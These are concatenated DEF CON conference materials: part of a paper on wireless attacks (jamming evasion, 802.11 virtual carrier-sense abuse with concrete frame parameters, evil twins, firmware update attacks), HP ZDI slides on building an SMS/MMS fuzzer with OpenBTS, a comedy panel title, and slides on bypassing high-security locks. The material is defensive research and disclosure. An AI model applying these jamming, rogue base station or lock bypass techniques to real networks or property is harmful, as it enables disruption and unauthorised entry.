tacker’s perspective, jamming is self-defeating – jamming
denies the target network, but also the attacker’s ability to
monitor attempted transmissions on the jammed network.
It can also be fairly easy to detect. Defenders can mitigate
jamming with the implementation of jam detection mech-
anisms. These can be practically implemented on em-
bedded devices by polling the clear-channel assessment
(CCA) mechanism available on many hardware radios or
by taking a power measurement of the channel. Short
of this, devices can use network health diagnostics and
statistics to determine when their network may be under
attack. Examples on how to evade these jam detection
mechanisms are outlined below.
• DEF CON demo: Live demonstration of Logan Lamb’s
alarm system jammer.
Evasive Jamming: As mentioned, device manufacturers can
take a defense posture against jamming by implementing jam
detection countermeasures on their devices. Here are two ways
that that clever attackers may be able to circumvent such jam
detection mechanisms:
• Duty Cycled Jamming: Duty-cycling a jammer, or puls-
ing it on and off, is one way of defeating CCA-based
jam detection mechanisms. If done at an appropriate rate,
cycling the jammer and allowing the channel to appear
open from the perspective of the device under attack will
keep the detection functions from triggering while still
denying the channel.
• Reflexive Jamming: Reflexive jamming is one way of
denying wireless communications that is more difficult to
detect. Reflexive jamming involves having the radio doing
the jamming to wait for a transmission to begin, jamming
briefly only once a transmission is detected. The jamming
signal collides with part of the packet, corrupting some of
its symbols and causing it to fail the receiver’s expected
CRC check. Thus, the jammer denies the channel, or even
a specific device/set of devices, while remaining active for
the shortest possible time.
E. Data Link Layer Channel Reservation Abuse
The 802.11 data link layer employs carrier-sense multiple
access with collision avoidance (CSMA/CA), an algorithm
which prevents two nodes from transmitting simultaneously.
CSMA/CA uses two methods to determine if a channel is
currently in use by another node: carrier-sensing, and virtual
carrier-sensing. Carrier-sensing detects a busy channel by
measuring RF energy. The CSMA/CA state machine assumes
that another node is currently transmitting when it detects RF
energy above a predefined threshold, and waits for the channel
to return to idle before transmitting. Virtual carrier-sensing
acts on the frame duration field in the 802.11 MAC header,
which defines the expected time, in microseconds, required
to transmit the packet and receive an ACK. In order to save
power, when an 802.11 node receives a packet, it will assume
the channel is occupied for the duration specified in the MAC
header.
• Method of attack: Virtual carrier-sensing can be abused
to effectively jam an 802.11 channel without needing to
transmit at a high duty cycle. By transmitting a frame
with an empty payload, and a frame duration value
of 32,767 or greater, other nodes in range will remain
inactive for 32ms. Therefore, an 802.11 channel can be
effectively jammed by transmitting 30 such frames per
second.
• Potential impact: Denial of service: legitimate 802.11
nodes are denied access to the RF channel.
• Wired
analogue:
Denial
of
service,
however
this
CSMA/CA virtual carrier-sensing is unique to wireless
networking protocols.
• Recent example: There are no known recent examples
of this attack. Bastian Bloessl is credited with suggesting
the attack vector.
• Limitations and defensive mitigations: The network
allocation vector (NAV) counter, which stores the remain-
ing duration for which an 802.11 channel is expected
to be occupied, has a maximum value of 32,767. This
limits the the effect of a single malicious packet to 32ms,
requiring the attacker to continually transmit, albeit with
a low duty cycle.
• DEF CON demo: Live demonstration of a virtual carrier-
sense abuse attack.
F. Evil Twin
An Evil Twin attack involves standing up a decoy device or
rogue access point that mimics trusted infrastructure, such that
it tricks victims into connecting to it. It is a way of automating
the establishment of trust to eavesdrop on or interact with
clients. The classic example of an 802.11 Evil Twin is the Wi-
Fi Pineapple Karma attack [5], however examples exist on
other protocols as well.
• Method of attack: The attacker must first capture the
defining metadata of the infrastructure to be mimicked.
This may include RF channel information and addressing
information, for example MAC addresses and SSIDs for
802.11. These metadata will differ for other protocols.
Then a decoy device can be set up using this extracted
configuration. If done convincingly, clients may elect
to trust the mimic and connect to it instead of the
legitimate AP. This technique can be combined with other
techniques such as jamming to further deny the legitimate
infrastructure and make the mimic appear even more
desirable.
• Potential impact: Eavesdropping and tampering with
network traffic, data loss, tracking devices
• Wired analogue: Wireless Evil Twin attacks are analo-
gous to ARP cache poisoning, or ARP spoofing. With
ARP poisoning, an attacker injects fraudulent ARP re-
sponses into a local area network to get targeted clients
to associate the attacker’s MAC address with a target IP
address. This results in the targeted clients routing mes-
sages to the attacker rather than the intended recipient.
Evil Twin attacks have similar characteristics – the rogue
device hijacks routing as a means of intercepting traffic.
• Recent example: The Wi-Fi Pineapple is a well-known
device capable of executing Evil Twin attacks. Addition-
ally, IMSI Catchers such as the Stingray are Evil Twins
– rogue cell towers such as these exploit the lack of
mutual authentication in the GSM cellular protocol to
masquerade as legitimate cellular infrastructure.
• Limitations and defensive mitigations: Because of the
complexity associated with convincingly mimicking an
existing device or communications protocol, Evil Twin
attacks can be difficult to execute. In addition, if the
attacker’s rogue device has to compete side-by-side with
legitimate device, it may also be necessary for the at-
tacker to deny the legitimate device with other offensive
techniques such as jamming.
From the defender’s perspective, Evil Twin attacks can be
mitigated through the proper use of cryptographic mutual
authentication. Authentication allows the devices to trust
the identity of a recipient before electing to associate with
or route traffic to them. GSM IMSI catchers present an
example of mutual authentication not being used properly.
Within the GSM protocol, basestations can authenticate
the identity of handsets, however handsets do not au-
thenticate basestations. Thus, it is trivial for an attacker
to stand up a rogue basestation, because handsets have
no robust way of verifying their identity.
• DEF CON demo: Live demonstration of a rogue GSM
basestation.
G. Firmware Update Mechanisms
Attacks on wireless firmware update mechanisms enable at-
tackers to execute arbitrary software and gain persistence on
a device.
• Method of attack: A highly generalized case of this
attack involves the attacker identifying the presence of
a wireless firmware update mechanism within a target
device, preparing a modified binary, overcoming firmware
encryption or secure boot (if present), and delivering the
modified binary to the target device. Such a modified
binary could implement arbitrary malicious features, in-
cluding but not limited to self-propagating to other similar
devices as a worm, or exfiltrating network data back to
the attacker, or bricking the device.
• Potential impact: Attacker gaining persistence on the
device, self-propagation (i.e. worm), denial of service,
data loss
• Wired analogue: Attacking wireless firmware update
mechanisms presents opportunities to exploit embedded
devices in manners similar to how malware operates on
traditional endpoints. Additionally, the ability to have in-
fected devices infect other devices is directly comparable
to traditional worms.
• Recent example: Eyal Ronen, Colin O’Flynn, Adi
Shamir, and Achi-Or Weingarten’s “ZigBee Chain Re-
action” from 2016 is a highly publicized recent example
of an attack on a wireless firmware update mechanism.
Their attack showcased deploying malicious firmware to
a set of Philips Hue lightbulbs from a radio mounted
on a drone. In addition to having to figure out ZigBee’s
wireless firmware update mechanics, they also had to
obtain the firmware signing key used by Philips to craft
their secure boot images. [6]
• Limitations and defensive mitigations: Defenders can
mitigate attacks like this by implementing modern best
practices such as secure boot/firmware encryption/image
signing and network encryption.
• DEF CON demo: No demo, but a discussion of the
aforementioned ZigBee firmware OTA attack.
H. Physical Layer Protocol Abuse
Physical Layer Protocol Abuse attacks, as we style them, in-
volve sending wireless transmissions that exploit irregularities
and corner cases in the receiver’s physical layer state machine.
Effects of these attacks can vary, from being able to transmit
from a device without direct control of the radio to being able
to send hidden or difficult-to-detect messages within the radio
spectrum.
• Method of attack: The techniques used to implement
these attacks, and even their desired outcomes, are varied
in nature, so generalizing them is difficult. One example
involves exploiting the structure of the physical layer
frame by embedding the symbols that comprise an entire
PHY frame within the payload of another packet, such
that two well-formed packets are sent with a single call to
the radio. Other examples include using illegal preamble
and header values to create transmissions that certain
radio state machines may not be able to receive, or
exploiting symbol mapping tables to exploit corner cases
in a receiver’s state machine.
• Potential impact: Wireless IDS evasion, device finger-
printing, privilege escalation
• Wired analogue: Covert messaging has been demon-
strated on the 802.3 Ethernet physical layer.
• Recent example: Perhaps the best-known example of
physical layer abuse is the packet-in-packet 802.15.4 at-
tack from 2011. [7] The same group from Dartmouth also
developed series of 802.15.4 selective evasion techniques
by wirelessly fingerprinting common chipsets. [8]
• Limitations and defensive mitigations: Since defenders
have to assign significant trust to their hardware, there
are few practical options for protecting against creative
wireless physical layer attacks.
• DEF CON demo: Live demonstration of 802.15.4
evasion techniques.
V. CONCLUSIONS
As embedded systems continue to permeate our digital lives,
wireless communication systems are slated to become even
more ubiquitous and diverse. As these systems continue to
assume critical functions within society, it is paramount that
device manufacturers and integrators consider the novel chal-
lenges that accompany such interfaces. Rather than dismissing
RF as voodoo that magically makes bits appear on far-
away devices, remember that radios are deterministic state
machines with behavior that can be rationally understood.
Finally, remember that radios are hardware and hardware
makes vulnerabilities last: thus, grasping wireless today is
an essential step to securing communications for years to
come.
VI. FURTHER READING
For further reading, consider consulting the following materi-
als:
A. RF Physical Layer Fundamentals and Reverse Engineering
Techniques: “So You Want to Hack Radios” Series
• Shmoocon:
https://www.youtube.com/watch?v=
L3udJnRe4vc
• Troopers17:
https://www.youtube.com/watch?v=
OFRwqpH9zAQ
• Hack in the Box Amsterdam 2017: https://www.
youtube.com/watch?v=QeoGQwT0Z1Y
B. Protocol Deep Dives
• LoRa: Matt’s presentation on the LoRa physical layer
from 33c3: https://media.ccc.de/v/33c3-7945-decoding
the lora phy
• Mousejack: Marc’s presentation on vulnerabilities in
the
nRF24
wireless
keyboard
and
mouse
protocol
from DEF CON 24: https://www.youtube.com/watch?v=
00A36VABIA4
C. Applying Open Source Intelligence (OSINT) to the Reverse
Engineering Process
• Hack in the Box Amsterdam 2017: https://www.
youtube.com/watch?v=JUAiav674D8
REFERENCES
[1] A.
Joch,
“Network
sniffers,”
Article,
2001,
http://www.computerworld.com/article/2583125/lan-
wan/network-sniffers.html.
[2] “Network
general
analyzer
sniffs
out
net-
work
trouble,”
Magazine
Article,
1996,
https://books.google.com/books?id=Ij0EAAAAMBAJ&lpg
=PA47-IA6&ots=CKwhmoptiu&dq=dolch%20sniffer%20
history&pg=PA47-IA6#v=onepage&q=dolch%20sniffer%20
history&f=false.
[3] B. Seeber, “Dallas siren attack,” Online Case Study,
2017,
https://www.bastille.net/blogs/2017/4/17/dallas-
siren-attack.
[4] L.
Lamb,
“Home
insecurity:
No
alarms,
false
alarms,
and
sigint,”
Paper,
2017,
https://media.defcon.org/DEF%20CON%2022/DEF%20
CON%2022%20presentations/Logan%20Lamb/DEFCON-
22-Logan-Lamb-HOME-INSECURITY-NO-ALARMS-
FALSE-ALARMS-AND-SIGINT-WP.pdf.
[5] S. Helme, “The wifi pineapple - using karma and
dnsspoof to snag unsuspecting victims,” Blog Post, 2013,
https://scotthelme.co.uk/wifi-pineapple-karma-dnsspoof/.
[6] E. Ronen, C. O’Flynn, A. Shamir, and A.-O. Weingarten,
“Iot goes nuclear: Creating a zigbee chain reaction,” Paper,
2016, http://iotworm.eyalro.net/iotworm.pdf.
[7] T. Goodspeed, S. Bratus, R. Melgares, R. Shapiro,
and R. Speers, “Packets in packets: Orson welles? in-
band signaling attacks for modern radios,” Paper, 2011,
https://www.usenix.org/legacy/event/woot11/tech/final files/
Goodspeed.pdf.
[8] I. R. Jenkins, R. Shapiro, S. Bratus, T. Goodspeed,
R. Speers, and D. Dowd, “Speaking the local di-
alect:
Exploiting
differences
between
ieee
802.15.4
receivers
with
commodity
radios
for
fingerprinting,
targeted
attacks,
and
wids
evasion,”
Paper,
2014,
http://www.cs.dartmouth.edu/reports/TR2014-749.pdf. | pdf |
Blowing up the Celly!
Building Your Own SMS/MMS Fuzzer!
!
Brian Gorenc, Manager, Vulnerability Research!
Matt Molinyawe, Security Researcher!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
2!
Agenda!
• Introduction!
• Testing Environment!
• Bug Hunting!
• Live Demonstration!
• Key Takeaways!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
Introduction!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
4!
whois Brian Gorenc
Employer:
HP
Organization:
HP Security Research
Zero Day Initiative
Responsibilities:
Manager, Vulnerability Research
Organizing Pwn2Own Hacking Competition
Verifying EIP == 0x41414141
Free Time:
Endlessly following code paths that don’t lead to
vulnerabilities
Twitter:
@MaliciousInput, @thezdi
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
5!
whois Matt Molinyawe
Employer:
HP
Organization:
HP Security Research
Zero Day Initiative
Responsibilities:
Security Researcher
Enjoying funny and awesome proof of concepts
Measuring my productivity in hours of YouTube watched
Process Janitor – Make exploits shine and not crash
Calc Connoisseur
Free Time:
DJ Manila Ice – Two time United States Finalist DJ
Beat Contra using only the laser without death
Beat QWOP
Martial Arts
Twitter:
@djmanilaice
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
6!
“Do-It-Yourself” !
Fuzzing SMS/MMS is an interesting topic!
Always-on technology!
Limited in-line defenses!
!
Every researcher will have a different take on the problem!
Usually roll their own fuzzer along with mutation logic!
!
Aim for this talk is to demonstrate approaches to get started in phone fuzzing!
!
Using Android as the reference device for research/demonstration!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
Testing Environment!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
8!
Virtual Lab and Configuration!
Android Emulation!
Easy to attain-> http://developer.android.com/sdk!
Creating Virtual ARM devices is simple:!
•
android create avd –n MyDeviceName –t android-19 –b default/armeabi-v7a!
•
Use the UI with: android avd!
Write scripts to generate the AVDs and to power them on!
!
iOS Emulation!
No default Messaging app on emulator!
!
Windows Phone Emulation!
Pull the SDK from here: http://dev.windowsphone.com/en-us/downloadsdk!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
9!
Android Emulator Options!
Android SDK!
Benefit of testing with several API versions !
• ARM images!
• x86 images!
Emulations tend to be slow!
!
Genymotion!
Fast x86 Virtualbox Virtual Machines!
User-friendly interface!
Available at genymotion.com!
!
Cheaper than phones because they’re free to create!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
10!
Debugging!
Attaching a debugger to the Virtual Device!
On the Android Virtual Device:!
• Shell into device!
• Run gdbserver attached to the process “com.android.mms”!
-
gdbserver :5039 –attach 1234!
• Forward traffic to a tcp port!
-
adb forward tcp:5039 tcp:5039!
On your host machine:!
•
Download Android NDK: http://developer.android.com/tools/sdk/ndk/index.html!
•
Run a prebuilt gdb in there: arm-linux-androideabi-gdb for example!
•
Run the following command in the debug session:!
-
target remote :5039!
Attach, control and catch output of the debugger with Python. !
Push debugger output to webapp/database.!
!
Now you’re debugging!!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
11!
Scripting/Automation for Emulators!
SMS fuzzing on emulators:!
Send PDU formatted messages with “send pdu” over the telnet channel!
•
Lots of prior research in this area.!
!
Initial fails with MMS – Repetitive failures you learn from can lead to your success!
Tried for weeks to get MMS networking working with emulators. It’s ok to give up sometimes.!
!
Backing up your MMSs!
Look at EasyBackup!
• Installed this application to an emulator!
• Was able to restore my MMS messages from my phone to an emulator!
• Win!!! Yes it’s possible to create MMS messages on the emulator!!
!
Looked at code and other things on the net!
Was able to determine you can just manipulate mmssms.db (a sqlite database) without having to
write Java (Hooray! Matt is a burnt out Sun Certified Enterprise Architect)!
!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
12!
Scripting/Automation for Emulators!
Save clean mmssms.db and compare with changed database!
adb pull your clean database, make changes and then push the new database!
• Interesting directories!
– /data/data/com.android.providers.telephony/databases – where mmssms.db is!
– /data/data/com.android.providers.telephony/app_parts – where attachments go!
!
Send MMS to fake number!
Alter tables: pdu, addr, part, canonical_addresses, and threads!
• Easy to automate this with Python and sqlite3 !
Push the altered mmssms.db back to the phone!
Make sure your set permissions back to radio:radio!
!
Monkeyrunner!
http://developer.android.com/tools/help/monkeyrunner_concepts.html!
•
Use this to click on the phone or to send text!
•
Effectively it is Jython scriptable automation in SDK tools!
!
!
!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
13!
Multimedia Fuzz Case Generation and Deployment!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
14!
Mangled Test Case!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
15!
Real-World Lab and Configuration!
Hardware!
RX/TX!
• Universal Software Radio Peripheral (USRP)!
• BladeRF!
• RangeNetworks Device!
Emissions Control!
• RF Enclosure!
!
Software!
OpenBTS - http://www.openbts.org/!
Base Station Information - http://openbsc.osmocom.org/trac!
NanoBTS - http://openbsc.osmocom.org/trac/wiki/nanoBTS!
Debugging Tools – usually come with the platform or you pay for one!
!
Cell Phones and other materials!
Your favorite cellphone target to fuzz!
SIM cards!
Photo: HP ZDI!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
16!
OpenBTS!
Setting up OpenBTS!
https://github.com/RangeNetworks/dev/wiki!
Used Ubuntu 12.04 32-bit on a VM!
!
Building and Finding Binaries for OpenBTS!
These were heavily referenced!
• https://wush.net/trac/rangepublic/wiki/BuildInstallRun!
• svn co http://wush.net/svn/range/software/public!
Built with --with-uhd (Ettus N210 USRP) !
For ease, we built the transceiver from the svn checkout and installed the 4.0 binaries!
!
UHD Drivers for Ettus N210 support!
Available here: http://code.ettus.com/redmine/ettus/projects/uhd/wiki/UHD_Linux!
Use the following commands to talk with the USRP once UHD drivers are built:!
• uhd_find_device!
• uhd_usrp_probe!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
17!
USRP/Antennas/Cabling !
Ettus N210 USRP!
VERT900 Antennae!
SMA Cable!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
18!
RF Enclosures!
Ramsey STE3000FAV: http://www.ramseytest.com/product.php?pid=10!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
19!
Cells Phones/SIM Cards!
Take your pick on Cell phones!
Android!
iPhone!
Windows Phone!
etc.!
!
GSM!
We set up a GSM network to look like an AT&T
Network with the USRP in the enclosure!
• Set GSM.Identity.MCC to 310!
• Set GSM.Identity.MNC to 410!
!
SIM Cards!
Purchase these from “big box” stores!
!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
20!
Our Bill of Materials!
USRP and Accessories!
USRP N210 Kit (782747-01) - $1,717.00!
WBX-40 USRP Daughterboard - $480.00!
USRP GPS-Disciplined Oscillator Kit - $758.00!
SMA-to-SMA Cable Assembly - $30.00!
VERT900 Vertical Antenna Dualband - $35.00!
Total: $3,020.00!
!
Cell Phones and SIMs!
Unlocked Phones ~ $500!
Pre-paid SIMs ~ $10-$20!
Micro SIM Cutter Tool ~ $5!
Total: ~$550!
!
RF Enclosure and Accessories!
STE3000FAV - $2,495.00 !
SMA Feedthrough Connectors!
DB9 10 PF and DB9 100 PF Connectors!
USB, RJ45 Adapter Kits!
Total: $3,096.00!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
21!
Connecting to the USRP on Android!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
22!
Connecting to the USRP on Android!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
23!
Time To Blow Up The Celly!
Messaging From Within The RF Enclosure!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
24!
Starting up OpenBTS!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
25!
System Ready!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
26!
tmsis – Check Devices Connected!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
27!
Sending Messages with OpenBTS!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
28!
Basic Text Messages!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
Bug Hunting!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
30!
File Formats!
Audio!
"audio/aac”, "audio/amr”, "audio/imelody”,
"audio/mid”, "audio/midi”, "audio/mp3”,"audio/
mpeg3”, "audio/mpeg”, "audio/mpg”, "audio/
mp4”, "audio/x-mid”, "audio/x-midi”, "audio/x-
mp3”, "audio/x-mpeg3”, "audio/x-mpeg”,
"audio/x-mpg”,"audio/3gpp”, "audio/x-wav”,
"application/ogg"!
!
Video!
"video/3gpp”, "video/3gpp2”, "video/h263”,
"video/mp4”!
!
Pictures!
"image/jpeg”, "image/jpg”, "image/gif”,
"image/vnd.wap.wbmp” ,"image/png”,"image/
x-ms-bmp”!
!
Others!
"text/x-vCalendar”, "text/x-vCard"!
!
!
Easy File Format Candidates to find:!
•
https://github.com/klinker41/android-smsmms/blob/master/src/com/google/android/mms/
ContentType.java!
•
Download AOSP (http://source.android.com)!
•
Source from Samsung (http://opensource.samsung.com/reception.do)!
•
rgrep for mime, image/, audio/, video/!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
31!
Fuzzing Framework!
Fuzzing Seeds!
https://samples.libav.org/!
http://samples.mplayerhq.hu/!
Google out some file formats with filetype:
operator!
!
Mutation Libraries!
Creating vcards and vcal!
•
http://vobject.skyhouseconsulting.com/!
•
https://pypi.python.org/pypi/vobject!
Fuzzing pdu formats!
•
https://pypi.python.org/pypi/smspdu/!
!
Fuzzing libraries!
Hachoir!
• https://bitbucket.org/haypo/hachoir/wiki/Home!
Radamsa !
• https://www.ee.oulu.fi/research/ouspg/Radamsa !
• https://code.google.com/p/ouspg/wiki/Radamsa!
!
Crash Triaging!
Very easy to roll your own gdb wrapper and
create a web app with database backend to
distribute load!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
Live Demonstrations!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
33!
…but we have video backups!
Pray to the Demo Gods!!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
Key Takeaways!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
35!
Blow Things Up!!
Attractive targets!
Filled with personal information and corporate secrets!
Process information without user interaction!
Handle large number of legacy formats !
!
Decreasing barrier to entry!
Leverage emulation provided by OS developers!
Physical hardware becoming cheaper!
Popularity of software defined radio increasing!
Leverage previous lessons learned!
Similar to fuzzing desktop apps to find bugs in MMS data handlers!
Break through the mystique of cell phone research!
!
© Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.!
Thank you! | pdf |
Defcon Comedy Jam IV:
A New Hope For The Fail Whale
David Mortman – C3/Securosis
Chris Hoff – Juniper
Dave Maynor – Errata
Rich Mogull – Securosis
arry Pesce – NWM/Paul.com
Rob Graham - Errata | pdf |
High Insecurity:
Locks, Lies, and Liability
Marc Weber Tobias
Matt Fiddler
Agenda
• Security Standards
• Conventional and High Security
• UL-437
• ANSI /BHMA (A156.5-2001)
• ANSI (A156.30)
• LOCKS:
– Bypass Methods
• LIES:
– Representations
– Design issues
• LIABILITY:
– Legal issues
High Security Locks and
Standards
• Normal vs. High Security
• Facility specifications based on
UL/ANSI
• Protection: Forced, Covert, Key control
• Protection of high value and critical
targets
UL-437 Attack Resistance
(Door locks and Cylinders)
5 Minutes
Driving
5 Minutes
Pulling
5 Minutes
Prying
5 Minutes
Sawing
5 Minutes
Drilling
5 Minutes
Forcing
10 Minutes
Impressioning
10 Minutes
Picking
Standards (ANSI/BHMA)
• ANSI 156.5
– Auxiliary Locks
– Graded 1-3 (1=highest rating)
• ANSI 156.30
– High Security Cylinders
– Graded A-C (A=highest rating)
Standards (ANSI A156.5)
Security Tests
• Impact
• Tension
• Torque
• Impact
• Sawing
• Pressure
• Tensile
In addition to the above requirements all cylinders must meet all
DRILLING(5min) and PICKING(10min) requirements of UL-437
Standards (ANSI A156.30)
High Security Cylinders
• Key Control (ratings are cumulative)
– C - Manufacturer restricted blanks
– B - Blanks protected by law
– A - Authorization required
• Forced Entry Extensions (Above A156.5)
Standards (ANSI A156.30)
• Pick Resistance (Cumulative)
C: Minimum of 2 Security Pins
Paracentric Keyway
Minimum of one bore depth designed to prevent
overlifting
B: Meets all levels of C plus UL-437 for pick
resistance (10 min)
A: Resist picking for 15 min as tested by 5 “ALOA
Certified” Locksmiths with “commercially”
available tools
What is “High Security”?
Standards (UL-437)
• Cabinet Locks
• Door Locks
• Locking Cylinder
• Security Containers
• Two-Key Locks
UL-437
Higher Security: Not High Security
Tests Include:
- Endurance
- Attack Resistance
- Corrosion
- Material Strength
UL-437 Attack Resistance
• “A product shall not open or be
compromised as a result of application
of the tools and methods described…”
– Common hand tools
– Hand or portable electronic tools
– Saw blades
– Puller mechanisms
– Picking tools
UL-437 Tools
(Hand or Electric)
Forced Entry
•
Pry bars(up to 3ft)
•
Chisels
•
Screwdrivers (max 15in)
•
Hammers (max 3lbs)
•
Wrenches
•
Pliers
•
Drills
•
Saw blades
•
Pulling tools
Covert Entry
•
Picking
•
Impressioning
LOCKS
• Drilling
• Pulling
• Prying
• Sawing
• Picking
• Impressioning
Forced Entry - Drilling
Drilling a standard cylinder and
high security cylinder
Forced Entry - Pulling
PULLING A MUL-T-LOCK
• Use of a puller on the plug
Forced Entry - Prying
Forced Entry - Sawing
Covert Entry - Picking
Covert Entry - Impressioning
Common Hand Tools
LIES
• Representations by lock manufacturers
• Design issues and failures
• Bypass methods not contemplated
Representations by
Manufacturers
• Locks are secure
• High security v. standard locks
• Implied representations
• Know or should have known of problems
• Meet specifications?
• Need truth in packaging and advertising
Design Issues
• Failure of imagination
• Design engineer problem
• Key never unlocks the lock
• Moshe Dyan problem
Mechanical Bypass
• Defeating locks in less than a minute
• Not included in standards
– Not forced or covert entry
• Many certified locks can be
compromised
• Public is misled
Mechanical Bypass:
Another Method of Entry
• Wires and shims
• Vibration, shock, bumping
• Air pressure
• Magnetics
• Breaking of internal components
• Radio Frequency energy
• Temperature
Failure of Imagination
• Mechanical bypass
• Forced entry techniques
• Covert entry techniques
• Key control compromise
– Manufacturers cannot find the
vulnerabilities
Design Defects
• Failure to understand laws of physics
• Failure to understand methods of entry
• Failure to imagine
– Generally simple design failures
– Directly affect the security of the lock
– Affect any security ratings
– Mislead the consumer
Case Examples
• El Safe (UnSafe) hotel safe
• File cabinet locks
• Targus Defcon CL
• Padlocks: Master and Corbin Sesamee
• Codelock electronic lock
• Kwikset
• Medeco
El Safe in room hotel safe
• Security = gear drive in back of door
File Cabinet Locks
• Security = spring loaded locking dog
Targus Defcon CL
• Piece of plastic to decode gate position
Padlocks
• Master combination
• Corbin Sesamee
Codelocks CL1000
• Security = spring loaded blocking tab
Codelocks 5000
Moshe Dyan Problem
“The road from Damascus to Tel Aviv also runs from
Tel Aviv to Damascus”
• Drain hole out: wire in
Kwikset Maximum Security
• Defective design
• No real security
• Open in under 30 seconds
• No apparent evidence of entry
Kwikset Ultra Max
• No real security
• Defective design
Common Myths
• Key Control
• Bumping
• Picking
• Mechanical Bypass
MEDECO:
The High Security Cylinder
• Protects high value and critical targets
• For 35 years: THE lock to attack
• UL437 and ANSI 156.30 rated
• Advertising Statements: Consider in context
– “bump proof”
– Highly pick resistant
– Key control
– Secure
MEDECO “CAVEATS”
• High quality locks and hardware
• Secure for most locations and uses
• May be vulnerable for high value targets
• User needs to assess security
• Security depends upon many factors
– Location and value of target
– Expected sophistication of attack
– Master key or non-master key system
MEDECO m3
• Replaced the Biaxial in 2005 when
patent expired
• Biaxial design with slider
• Three levels of security:
– Pin tumblers elevated to shear line
– Pin tumblers rotated to correct angles
– Slider moved to correct position
Medeco m3 Design
Common Myth #1:
Key Control
• UL 437: No key control criteria
• ANSI 156.30
– Patent protected blanks
– Cannot replicate the blanks
– Cannot duplicate the keys
– Factory control of keys produced by code
Medeco Key Control
• Biaxial patent expired in 2005
• Replaced with m3
• m3 is protected but can be simulated
• Restricted keyways can be bypassed
• Security feature of m3 can be bypassed
which does not infringe on patent
Medeco m3 Meets the Paper Clip
“Michaud M3 Degrade Attack”
Common Myth #2: Bumping
• Some High security locks can be
bumped open
– Locks can be bumped: Not all but many
– Depends on many factors
– Sidebar codes must be known or simulated
– Patent filing for technique to bump
Medeco Not Bump-proof
• Medeco:
– “Our locks are bump proof!”
– “Our locks are virtually bump proof!”
Virtually bump proof = virtual reality
Virtual Reality
Common Myth #3: Picking
• Special pick and decoder tools
developed
• Medeco locks can be extremely difficult
to pick because of pin rotation
• A target for 35 years
• Attempts largely unsuccessful
• Caveats
Picking Medeco Locks
• Medeco locks can be picked with
conventional tools with a special
technique in patent filing
• High percentage of these locks can be
picked
Common Myth #4:
Hardware Bypass
• Kwikset UltraMax and others
• Medeco hardware security: Is it really
secure?
• Example: Deadbolts - A failure of
imagination
• The entire security is based upon two
small components
“The key never unlocks the lock!”
Medeco Security: Two Screws
Loose!
Medeco Security: Two Screws
Loose!
• Medeco Deadbolt Lock
– Security is based upon two tiny screws
– Can be compromised in under 30 seconds
– Will not meet high security standards
• UL and ANSI does not address this issue
• Bypass of deadbolt mechanism
• Design incompetence
LIABILITY
• Defective or deficient products
• Negligent designs
• Misrepresentations in packaging
• Manufacturers are experts
• Federal statutes
• Fiduciary duty to customers
– DCR v. PEAK
NEEDED: Real World Testing
• Propose Security Laboratories
– Security professionals
– Manufacturers
– Law enforcement
– Locksmiths
– Hackers: Vulnerability Geeks
• Why we need Physical Security Hackers
SECURITY LABORATORIES
• Disclosure Policy
– Product beta v. introduced
– Can the problem be fixed
– Who’s at risk
– Notify manufacturer: recall or replace
– How many locks are affected
– Level of risk
– National security issues?
DISCLOSURE CRITERIA
• Public or private disclosure
• Level of threat
• Likelihood of exploit
• Market penetration
• Level of disclosure
– Security issues only
– Detail the vulnerability
– Demonstrate the vulnerability
Product Testing
• For members
• For non-members
• Confidentiality
• Privilege
• Propose new designs
Feedback
• Idea of joint cooperation
• Structure of Security Laboratories
• Disclosure policy
• Use of hackers
Thank You
Marc Weber Tobias
[email protected]
Matt Fiddler
[email protected]
